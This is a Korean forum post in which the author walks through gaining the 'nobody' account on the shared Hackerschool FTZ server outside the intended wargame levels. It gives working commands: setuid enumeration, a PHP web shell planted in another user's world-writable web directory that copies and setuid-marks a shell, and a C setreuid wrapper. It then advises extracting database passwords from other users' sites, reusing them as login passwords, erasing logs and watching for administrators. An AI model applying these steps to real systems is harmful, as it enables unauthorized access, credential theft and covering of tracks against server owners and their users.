22018, 1/1101 회원가입  로그인  
   mathboy7
   해커스쿨 level권한 외의 권한 취득하기

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=31325 [복사]


이번에는 예전에 따 놓은 해커스쿨의 level 권한 외의 권한 취득 방법을 올려보도록 하겠습니다.



특정 문제가 있는 것도 아니니 시스템을 얼마나 잘 조사하는지가 관건이 되겠습니다.



우선 해커스쿨에 level1으로 접속했습니다.



어차피 다른 권한 따는거기 때문에 높은 레벨의 권한은 필요 없습니다.



어차피 그게 그거랍니다.



[level1@ftz level1]$ ls -al

합계 96

drwxr-xr-x    5 root     level1       4096  3월 26  2003 .

drwxr-xr-x   44 root     root         4096 12월  9  2003 ..

-rw-r--r--    1 root     root          209  3월 19  1999 .BitchX

-rw-------    1 root     root          106  3월  6  2000 .Xauthority

-rw-r--r--    1 root     root          245  2월 24  2002 .Xdefaults

-rw-------    1 root     root           61  4월 19  2002 .bash_history

-rw-r--r--    1 root     root           24  2월 24  2002 .bash_logout

-rw-rw-r--    1 root     root          224  2월 24  2002 .bash_profile

-rw-r--r-x    1 root     root          151  2월 24  2002 .bashrc

-rw-r--r--    1 root     root          400  2월 24  2002 .cshrc

-rw-r--r--    1 root     root         4742  2월 24  2002 .emacs

-rw-r--r--    1 root     root          162  2월 24  2002 .epems

-r--r--r--    1 root     root          319  2월 24  2002 .gtkrc

-rw-r--r--    1 root     root          100  2월 24  2002 .gvimrc

drwxrwxr-x    3 root     root         4096  3월 21  2000 .mc

-rw-r--r--    1 root     root          226  2월 24  2002 .muttrc

-rw-r--r--    1 root     root          367  2월 24  2002 .profile

-rw-r--r--    1 root     root            1  5월  7  2002 .viminfo

-rw-r--r--    1 root     root         4145  2월 24  2002 .vimrc

-rw-r--r--    1 root     root           47  4월  4  2000 hint

drwxr-xr-x    2 root     level1       4096 12월  7  2003 public_html

drwxrwxr-x    2 root     level1       4096  8월 13 16:41 tmp

[level1@ftz level1]$



우선 홈디렉터리부터 확인해 보도록 하겠습니다.



.mc라는 수상한 눈에 띕니다.



레벨 1 문제풀이때는 워낙 후딱 지나가서 못봤던것 같습니다.



[level1@ftz .mc]$ ls -al

합계 24

drwxrwxr-x    3 root     root         4096  3월 21  2000 .

drwxr-xr-x    5 root     level1       4096  3월 26  2003 ..

-rwxrwxrwx    1 root     level1         25  7월 24 16:13 Tree

-rw-------    1 root     level1       2646  4월 19  2002 history

-rwxrwxrwx    1 root     level1         74  7월 24 16:13 ini

drwx------    2 root     level1       4096  4월 14  2002 tmp

[level1@ftz .mc]$ cat Tree



작성한 사람이 root로 되어있습니다.



딱히 수확이 없으니.. find 명령어로 setuid가 걸려진 파일을 찾아서 어디까지 가져올 수 있나 확인해 보겠습니다.



[level1@ftz level1]$ find / -perm -4000 -print 2>/dev/null

/usr/bin/bof

/usr/bin/editor

/usr/bin/level5

/bin/ExcuteMe

/bin/autodig

/bin/level7

/home/level11/attackme

/home/level12/attackme

/home/level13/attackme

/home/level14/attackme

/home/level15/attackme

/home/level16/attackme

/home/level17/attackme

/home/level18/attackme

/home/level19/attackme

/home/level20/attackme

[level1@ftz level1]$



우울하네요..



하다못해 ping도 없네요.. (ping은 suid가 없으면 일반 유저는 사용을 못한다는 의미랍니다. ping이란 프로그램이 생긴 모양때문에..)



[level1@ftz level1]$ ps -axu  grep -v level  grep -v trainer  awk '{print $1}'  uniq

USER

root

bin

root

daemon

root

mysql

root

nobody

hs4_chat

root

nobody

guest

root

[level1@ftz level1]$



슬쩍 갖고 넘어갈 수 있는 프로세스도 없는듯 하고..



우선 nobody부터 공략해야 할 것 같습니다.



[level1@ftz home]$ ls -la  grep -v level  grep -v trainer

합계 176

drwxr-xr-x   44 root     root         4096 12월  9  2003 .

drwxr-xr-x   20 root     root         4096  8월 13 03:01 ..

drwx-----x   25 3149     beist        4096  6월 30 04:45 beist

drwxr-xr-x    2 chat     chat         4096  2월 24  2003 chat

drwx--x--x   18 clear    clear        4096  8월 12 20:17 clear

drwx-----x   12 dotri    dotri        4096 10월  9  2003 dotri

drwxrwxrwx    2 guest    guest        4096  8월 13 16:46 guest

drwx-----x    3 hs4_chat hs4_chat     4096  3월 25  2004 hs4_chat

drwx------    3 mud      mud          4096  3월 26  2003 mud

drwx------    2 mysql    mysql        4096  3월 31  2003 mysql

drwxr-x--x   10 root     realhack     4096  4월 23  2002 realhack

drwx--x--x    3 sexyguta sexyguta     4096  7월 25 17:40 sexyguta

dr-x-----x    5 root     root         4096  4월 14  2002 socket

drwx-----x    3 test     test         4096  3월 31  2003 test



사용자가 몇명 있습니다.



권한에 세번째 부분이 x가 되어있다는 것은 웹 서비스를 한다는 뜻일테니..



디렉토리마다  하나하나씩 체크해보면 됩니다.



[level1@ftz home]$ cd beist/

[level1@ftz beist]$ ls

ls: .: 허가 거부됨



read권한이 없기 때문에 당연히 허가가 거부됩니다.



개인 페이지 디렉토리는 보통 public_html을 많이 씁니다.



목록은 볼 수 없어도 있을꺼라는 강한 의심이 가기 때문에..



[level1@ftz beist]$ cd public_html

[level1@ftz public_html]$



혹시나가 역시나입니다.



예상했던 대로 public_html 파일이 존재하는군요.



[level1@ftz public_html]$ ls

CMSIMPLE  MAMBO  MOODLE  albums  copy  gallery  index.html  moodledata  result.txt  result2.txt  tt.php



이제 각 권한을 체크해봅시다.



[level1@ftz public_html]$ ls -al

합계 100

drwxr-xr-x    9 root     root         4096  4월 27 18:33 .

drwx-----x   25 3149     beist        4096  6월 30 04:45 ..

drwxr-xr-x    8 root     root         4096  3월 30 18:16 CMSIMPLE

drwxrwxrwx   14 502      504          4096  8월  7 20:03 MAMBO

drwxr-xrwx   22 502      504          4096  5월  3 00:47 MOODLE

drwxrwxrwx   12 502      504          4096  5월  3 01:22 albums

drwxr-xr-x    2 root     root         4096  4월 27 18:04 copy

drwxr-xr-x   22 502      504          4096  5월 31 16:39 gallery

-rw-r--r--    1 root     root            5  4월 27 15:31 index.html

drwxrwxrwx    6 502      504          4096  5월  3 00:36 moodledata

-rw-r--r--    1 root     root        13791  4월 27 01:11 result.txt

-rw-r--r--    1 root     root        39428  4월 27 18:34 result2.txt

-rw-r--r--    1 root     root           28  4월 27 17:58 tt.php

[level1@ftz public_html]$



잡았네요.



이제 nobody는 땄습니다.



문제가 되는 부분은



drwxrwxrwx   14 502      504          4096  8월  7 20:03 MAMBO



입니다. 모든 사용자에게 읽기 쓰기 권한이 있는 것을 알 수가 있습니다.



이제 php코드만 심어놓으면 됩니다.



[level1@ftz MAMBO]$ which tcsh

/bin/tcsh



쉘의 위치를 파악한 후 php에서 사용할 명령어들의 path도 파악해둡니다.



[level1@ftz MAMBO]$ which cp

/bin/cp

[level1@ftz MAMBO]$ which chmod

/bin/chmod

[level1@ftz MAMBO]$ pwd

/home/beist/public_html/MAMBO



현재 디렉토리도 파악해두고 a.php라는 이름으로 다음과 같이 만들었습니다.



<?

system("/bin/cp /bin/tcsh /home/beist/public_html/MAMBO/.");

system("/bin/chmod 4755 /home/beist/public_html/MAMBO/tcsh");

?>

제 파일에 접근하려면 http://ftz.hackerschool.org/~beist/MAMBO/a.php 로 들어가시면 됩니다.



익스플로러로 저 창을 열어보면 아무것도 안나옵니다.



이제 디렉토리를 보면,



[level1@ftz MAMBO]$ ls -rlt

합계 1704

..

-rw-rw-r--    1 level1   level1        129  8월 13 18:48 a.php

-rwsr-xr-x    1 nobody   nobody     316276  8월 13 18:49 tcsh



suid를 가진 쉘이 성공적으로 만들어 진 것을 확인할 수 있습니다.



[level1@ftz MAMBO]$ ./tcsh

tcsh: 허가 거부됨.

[level1@ftz MAMBO]$



허허.. 다시 해야겠군요.



아예 코드로 작성해야 할듯 합니다.



a.c라는 이름으로 작성했습니다.



#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

int main()

{

        setreuid(99, 99);

        system("/bin/sh");

        return 0;

}

[level1@ftz MAMBO]$ cc -o a a.c



그 다음에 a.php의 내용을 다음과 같이 바꿔줍니다.



<?

system("/bin/cp /home/beist/public_html/MAMBO/a /home/beist/public_html/MAMBO/b");

system("/bin/chmod 4755 /home/beist/public_html/MAMBO/b");

?>



다시 저 URL을 열면 아무 반응 없습니다.



이제 다시 디렉토리를 보면,



[level1@ftz MAMBO]$ ls -rlt

합계 1728

...

-rwsr-xr-x    1 nobody   nobody     316276  8월 13 18:49 tcsh

-rwxrwxr-x    1 level1   level1      11646  8월 13 18:56 a

-rw-rw-r--    1 level1   level1        148  8월 13 18:56 a.php

-rwsr-xr-x    1 nobody   nobody      11646  8월 13 18:58 b



b라는 파일이 생긴 것을 확인할 수 있습니다.



실행시켜 보도록 하겠습니다.



[level1@ftz MAMBO]$ ./b

sh-2.05b$ id

uid=99(nobody) gid=3001(level1) groups=3001(level1)



성공적으로 nobody 권한을 취득한 것을 확인할 수 있습니다.



일반적이 서버인 경우 저렇게 일반계정으로 들어갈 수 있다면 다른 계정 권한을 따는건 그리 어렵지 않습니다.



해킹을 할때의 문제는 어떻게 일반계정을 딸 수 있느냐이고, 보안을 할때의 문제는 어떻게 그러한 시도를 조기에 차단 또는 발견할 수있느냐.. 입니다.



이제 할 일은 각 사용자 계정을 돌아다니면서 정보를 수집하는 것입니다.



그런데.. nobody를 따고나니 귀찮아지네요. <퍼ㅓ퍼퍼퍽



정보를 수집할 때 중점적으로 할 것은..



홈페이지를 만든 사용자가 있을 때 db와 연결되는 부분에서 패스워드를 뽑아내는 것이 중요합니다.



그렇게 해서 뽑아낸 패스워드일 경우 계정 패스워드와 동일할 수 있기 때문입니다.



단 계정 패스워드를 알아내면 그 다음부터는 머리아파집니다.



자기가 접속한 로그를 관리해야 하기 때문입니다.



로그의 삭제와 자기가 움직인 정보를 삭제해야 합니다.



물론 수시로 w 명령 등으로 다른 사람이 특히나 관리자가 접속해있나 체크해야 합니다.



아무튼.. 오늘은 해커스쿨의 레벨 계정이 아닌 다른 계정의 권한을 취득해 보았습니다.

  Hit : 10795     Date : 2013/11/09 01:11



    
hjt7942 덜덜 2013/11/10  
blueh4g 후덜덜aa 2013/11/20  
jeongseok0 봐도 이해가 안되는 1인... 2014/04/28